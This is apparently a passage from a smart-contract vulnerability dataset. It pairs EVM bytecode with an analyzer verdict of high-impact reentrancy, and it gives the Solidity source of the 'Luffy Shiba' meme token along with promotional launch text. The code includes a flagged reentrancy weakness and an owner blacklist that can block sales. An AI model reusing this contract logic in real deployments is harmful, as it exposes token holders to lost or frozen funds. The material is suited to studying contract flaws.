fffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61195d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161195490613093565b60405180910390fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611a0a57601754816119bf84610d68565b6119c991906132e9565b10611a09576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a0090613173565b60405180910390fd5b5b6000611a1530610d68565b9050600060185482101590506016548210611a305760165491505b808015611a48575060158054906101000a900460ff16155b8015611aa25750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611aba5750601560169054906101000a900460ff165b15611ae257611ac882611f24565b60004790506000811115611ae057611adf47611e4a565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611b8c5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611c3f5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611c3e5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611c4d5760009050611dd4565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611cf85750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611d1057600854600c81905550600954600d819055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611dbb5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611dd357600a54600c81905550600b54600d819055505b5b611de08484848461221c565b50505050565b6000838311158290611e2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e259190612fd1565b60405180910390fd5b5060008385611e3d91906133ca565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611eb2573d6000803e3d6000fd5b5050565b6000600654821115611efd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ef490613033565b60405180910390fd5b6000611f07612249565b9050611f1c818461227490919063ffffffff16565b915050919050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611f81577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611faf5781602001602082028036833780820191505090505b5090503081600081518110611fed577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561208f57600080fd5b505afa1580156120a3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120c79190612a5c565b81600181518110612101577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061216830601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461142b565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016121cc9594939291906131ce565b600060405180830381600087803b1580156121e657600080fd5b505af11580156121fa573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b8061222a576122296122be565b5b612235848484612301565b80612243576122426124cc565b5b50505050565b60008060006122566124e0565b9150915061226d818361227490919063ffffffff16565b9250505090565b60006122b683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612545565b905092915050565b6000600c541480156122d257506000600d54145b156122dc576122ff565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612313876125a8565b95509550955095509550955061237186600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461261090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061240685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461265a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612452816126b8565b61245c8483612775565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124b991906131b3565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b60008060006006549050600069152d02c7e14af6800000905061251869152d02c7e14af680000060065461227490919063ffffffff16565b8210156125385760065469152d02c7e14af6800000935093505050612541565b81819350935050505b9091565b6000808311829061258c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125839190612fd1565b60405180910390fd5b506000838561259b919061333f565b9050809150509392505050565b60008060008060008060008060006125c58a600c54600d546127af565b92509250925060006125d5612249565b905060008060006125e88e878787612845565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061265283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611de6565b905092915050565b600080828461266991906132e9565b9050838110156126ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126a5906130b3565b60405180910390fd5b8091505092915050565b60006126c2612249565b905060006126d982846128ce90919063ffffffff16565b905061272d81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461265a90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61278a8260065461261090919063ffffffff16565b6006819055506127a58160075461265a90919063ffffffff16565b6007819055505050565b6000806000806127db60646127cd888a6128ce90919063ffffffff16565b61227490919063ffffffff16565b9050600061280560646127f7888b6128ce90919063ffffffff16565b61227490919063ffffffff16565b9050600061282e82612820858c61261090919063ffffffff16565b61261090919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061285e85896128ce90919063ffffffff16565b9050600061287586896128ce90919063ffffffff16565b9050600061288c87896128ce90919063ffffffff16565b905060006128b5826128a7858761261090919063ffffffff16565b61261090919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808314156128e15760009050612943565b600082846128ef9190613370565b90508284826128fe919061333f565b1461293e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612935906130f3565b60405180910390fd5b809150505b92915050565b600061295c61295784613268565b613243565b9050808382526020820190508285602086028201111561297b57600080fd5b60005b858110156129ab578161299188826129b5565b84526020840193506020830192505060018101905061297e565b5050509392505050565b6000813590506129c48161398e565b92915050565b6000815190506129d98161398e565b92915050565b600082601f8301126129f057600080fd5b8135612a00848260208601612949565b91505092915050565b600081359050612a18816139a5565b92915050565b600081359050612a2d816139bc565b92915050565b600060208284031215612a4557600080fd5b6000612a53848285016129b5565b91505092915050565b600060208284031215612a6e57600080fd5b6000612a7c848285016129ca565b91505092915050565b60008060408385031215612a9857600080fd5b6000612aa6858286016129b5565b9250506020612ab7858286016129b5565b9150509250929050565b600080600060608486031215612ad657600080fd5b6000612ae4868287016129b5565b9350506020612af5868287016129b5565b9250506040612b0686828701612a1e565b9150509250925092565b60008060408385031215612b2357600080fd5b6000612b31858286016129b5565b9250506020612b4285828601612a09565b9150509250929050565b60008060408385031215612b5f57600080fd5b6000612b6d858286016129b5565b9250506020612b7e85828601612a1e565b9150509250929050565b600060208284031215612b9a57600080fd5b600082013567ffffffffffffffff811115612bb457600080fd5b612bc0848285016129df565b91505092915050565b600060208284031215612bdb57600080fd5b6000612be984828501612a09565b91505092915050565b600060208284031215612c0457600080fd5b6000612c1284828501612a1e565b91505092915050565b60008060008060808587031215612c3157600080fd5b6000612c3f87828801612a1e565b9450506020612c5087828801612a1e565b9350506040612c6187828801612a1e565b9250506060612c7287828801612a1e565b91505092959194509250565b6000612c8a8383612c96565b60208301905092915050565b612c9f816133fe565b82525050565b612cae816133fe565b82525050565b6000612cbf826132a4565b612cc981856132c7565b9350612cd483613294565b8060005b83811015612d05578151612cec8882612c7e565b9750612cf7836132ba565b925050600181019050612cd8565b5085935050505092915050565b612d1b81613410565b82525050565b612d2a81613453565b82525050565b612d3981613477565b82525050565b6000612d4a826132af565b612d5481856132d8565b9350612d64818560208601613489565b612d6d816135c3565b840191505092915050565b6000612d856023836132d8565b9150612d90826135d4565b604082019050919050565b6000612da8603f836132d8565b9150612db382613623565b604082019050919050565b6000612dcb602a836132d8565b9150612dd682613672565b604082019050919050565b6000612dee601c836132d8565b9150612df9826136c1565b602082019050919050565b6000612e116022836132d8565b9150612e1c826136ea565b604082019050919050565b6000612e346023836132d8565b9150612e3f82613739565b604082019050919050565b6000612e57601b836132d8565b9150612e6282613788565b602082019050919050565b6000612e7a6017836132d8565b9150612e85826137b1565b602082019050919050565b6000612e9d6021836132d8565b9150612ea8826137da565b604082019050919050565b6000612ec06020836132d8565b9150612ecb82613829565b602082019050919050565b6000612ee36029836132d8565b9150612eee82613852565b604082019050919050565b6000612f066025836132d8565b9150612f11826138a1565b604082019050919050565b6000612f296023836132d8565b9150612f34826138f0565b604082019050919050565b6000612f4c6024836132d8565b9150612f578261393f565b604082019050919050565b612f6b8161343c565b82525050565b612f7a81613446565b82525050565b6000602082019050612f956000830184612ca5565b92915050565b6000602082019050612fb06000830184612d12565b92915050565b6000602082019050612fcb6000830184612d21565b92915050565b60006020820190508181036000830152612feb8184612d3f565b905092915050565b6000602082019050818103600083015261300c81612d78565b9050919050565b6000602082019050818103600083015261302c81612d9b565b9050919050565b6000602082019050818103600083015261304c81612dbe565b9050919050565b6000602082019050818103600083015261306c81612de1565b9050919050565b6000602082019050818103600083015261308c81612e04565b9050919050565b600060208201905081810360008301526130ac81612e27565b9050919050565b600060208201905081810360008301526130cc81612e4a565b9050919050565b600060208201905081810360008301526130ec81612e6d565b9050919050565b6000602082019050818103600083015261310c81612e90565b9050919050565b6000602082019050818103600083015261312c81612eb3565b9050919050565b6000602082019050818103600083015261314c81612ed6565b9050919050565b6000602082019050818103600083015261316c81612ef9565b9050919050565b6000602082019050818103600083015261318c81612f1c565b9050919050565b600060208201905081810360008301526131ac81612f3f565b9050919050565b60006020820190506131c86000830184612f62565b92915050565b600060a0820190506131e36000830188612f62565b6131f06020830187612d30565b81810360408301526132028186612cb4565b90506132116060830185612ca5565b61321e6080830184612f62565b9695505050505050565b600060208201905061323d6000830184612f71565b92915050565b600061324d61325e565b905061325982826134bc565b919050565b6000604051905090565b600067ffffffffffffffff82111561328357613282613594565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006132f48261343c565b91506132ff8361343c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561333457613333613536565b5b828201905092915050565b600061334a8261343c565b91506133558361343c565b92508261336557613364613565565b5b828204905092915050565b600061337b8261343c565b91506133868361343c565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156133bf576133be613536565b5b828202905092915050565b60006133d58261343c565b91506133e08361343c565b9250828210156133f3576133f2613536565b5b828203905092915050565b60006134098261341c565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061345e82613465565b9050919050565b60006134708261341c565b9050919050565b60006134828261343c565b9050919050565b60005b838110156134a757808201518184015260208101905061348c565b838111156134b6576000848401525b50505050565b6134c5826135c3565b810181811067ffffffffffffffff821117156134e4576134e3613594565b5b80604052505050565b60006134f88261343c565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561352b5761352a613536565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f544f4b454e3a20416c726561647920656e61626c65642e000000000000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b613997816133fe565b81146139a257600080fd5b50565b6139ae81613410565b81146139b957600080fd5b50565b6139c58161343c565b81146139d057600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220aa5760ebff28ecc83de631bc9dc2e33bd9b5e45ad8b3676bc6c0456cf33d450564736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}} | 10,189 |
0xbaed60273be719595e5416835a99fa7b1bd41f16 | // SPDX-License-Identifier: UNLICENSE
/**
TG: https://t.me/LuffyShiba
Zoro INU First ?
Luffy Shiba is the next !
Anime meta I’m forcing back. Was the best times ! ! !
Our community is hyped and Ready to Stealth Launch
Locked and Renounced Contract
BuyTax: 2% SellTax: 8%
MaxBuy : 2% (40,000) Supply: 2,000,000
**/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract LuffyShiba is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 2000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
string private constant _name = "Luffy Shiba";
string private constant _symbol = "LuffyShiba";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 public _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(_msgSender());
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_maxTxAmount = _tTotal.div(50);
emit Transfer(address(_msgSender()), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 2;
_feeAddr2 = 8;
if (from != owner() && to != owner()) {
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// buy
require(amount <= _maxTxAmount);
require(tradingOpen);
}
if ( from != address(uniswapV2Router) && ! _isExcludedFromFee[from]&&to == uniswapV2Pair){
require(!bots[from] && !bots[to]);
_feeAddr1 = 2;
_feeAddr2 = 8;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount);
}
function increaseMaxTx(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxTxAmount = _tTotal.mul(percentage).div(100);
}
function addSwap() external onlyOwner {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function addLiq() external onlyOwner{
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function enableTrading() external onlyOwner{
tradingOpen = true;
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
if(bots_[i]!=address(uniswapV2Router) && bots_[i]!=address(uniswapV2Pair) &&bots_[i]!=address(this)){
bots[bots_[i]] = true;
}
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x60806040526004361061012e5760003560e01c80637d1db4a5116100ab578063a9059cbb1161006f578063a9059cbb14610337578063b515566a14610357578063c3c8cd8014610377578063d91a21a61461038c578063dd62ed3e146103ac578063e9e1831a146103f257600080fd5b80637d1db4a51461029c5780638a259e6c146102b25780638a8c523c146102c75780638da5cb5b146102dc57806395d89b411461030457600080fd5b8063313ce567116100f2578063313ce567146102165780635932ead1146102325780636fc3eaec1461025257806370a0823114610267578063715018a61461028757600080fd5b806306fdde031461013a578063095ea7b31461018057806318160ddd146101b057806323b872dd146101d4578063273123b7146101f457600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5060408051808201909152600b81526a4c7566667920536869626160a81b60208201525b604051610177919061162a565b60405180910390f35b34801561018c57600080fd5b506101a061019b3660046116a4565b610407565b6040519015158152602001610177565b3480156101bc57600080fd5b5066071afd498d00005b604051908152602001610177565b3480156101e057600080fd5b506101a06101ef3660046116d0565b61041e565b34801561020057600080fd5b5061021461020f366004611711565b610487565b005b34801561022257600080fd5b5060405160098152602001610177565b34801561023e57600080fd5b5061021461024d36600461173c565b6104db565b34801561025e57600080fd5b50610214610523565b34801561027357600080fd5b506101c6610282366004611711565b610530565b34801561029357600080fd5b50610214610552565b3480156102a857600080fd5b506101c6600f5481565b3480156102be57600080fd5b506102146105c6565b3480156102d357600080fd5b50610214610792565b3480156102e857600080fd5b506000546040516001600160a01b039091168152602001610177565b34801561031057600080fd5b5060408051808201909152600a8152694c75666679536869626160b01b602082015261016a565b34801561034357600080fd5b506101a06103523660046116a4565b6107d1565b34801561036357600080fd5b5061021461037236600461176f565b6107de565b34801561038357600080fd5b50610214610932565b34801561039857600080fd5b506102146103a7366004611834565b610948565b3480156103b857600080fd5b506101c66103c736600461184d565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156103fe57600080fd5b506102146109a1565b6000610414338484610b63565b5060015b92915050565b600061042b848484610c87565b61047d843361047885604051806060016040528060288152602001611a4a602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610fa1565b610b63565b5060019392505050565b6000546001600160a01b031633146104ba5760405162461bcd60e51b81526004016104b190611886565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146105055760405162461bcd60e51b81526004016104b190611886565b600e8054911515600160b81b0260ff60b81b19909216919091179055565b4761052d81610fdb565b50565b6001600160a01b03811660009081526002602052604081205461041890611015565b6000546001600160a01b0316331461057c5760405162461bcd60e51b81526004016104b190611886565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146105f05760405162461bcd60e51b81526004016104b190611886565b600d80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561062b308266071afd498d0000610b63565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610669573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061068d91906118bb565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106da573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106fe91906118bb565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561074b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061076f91906118bb565b600e80546001600160a01b0319166001600160a01b039290921691909117905550565b6000546001600160a01b031633146107bc5760405162461bcd60e51b81526004016104b190611886565b600e805460ff60a01b1916600160a01b179055565b6000610414338484610c87565b6000546001600160a01b031633146108085760405162461bcd60e51b81526004016104b190611886565b60005b815181101561092e57600d5482516001600160a01b0390911690839083908110610837576108376118d8565b60200260200101516001600160a01b0316141580156108885750600e5482516001600160a01b0390911690839083908110610874576108746118d8565b60200260200101516001600160a01b031614155b80156108bf5750306001600160a01b03168282815181106108ab576108ab6118d8565b60200260200101516001600160a01b031614155b1561091c576001600660008484815181106108dc576108dc6118d8565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b8061092681611904565b91505061080b565b5050565b600061093d30610530565b905061052d81611092565b6000546001600160a01b031633146109725760405162461bcd60e51b81526004016104b190611886565b6000811161097f57600080fd5b61099b606461099566071afd498d00008461120c565b90610b1a565b600f5550565b6000546001600160a01b031633146109cb5760405162461bcd60e51b81526004016104b19061188656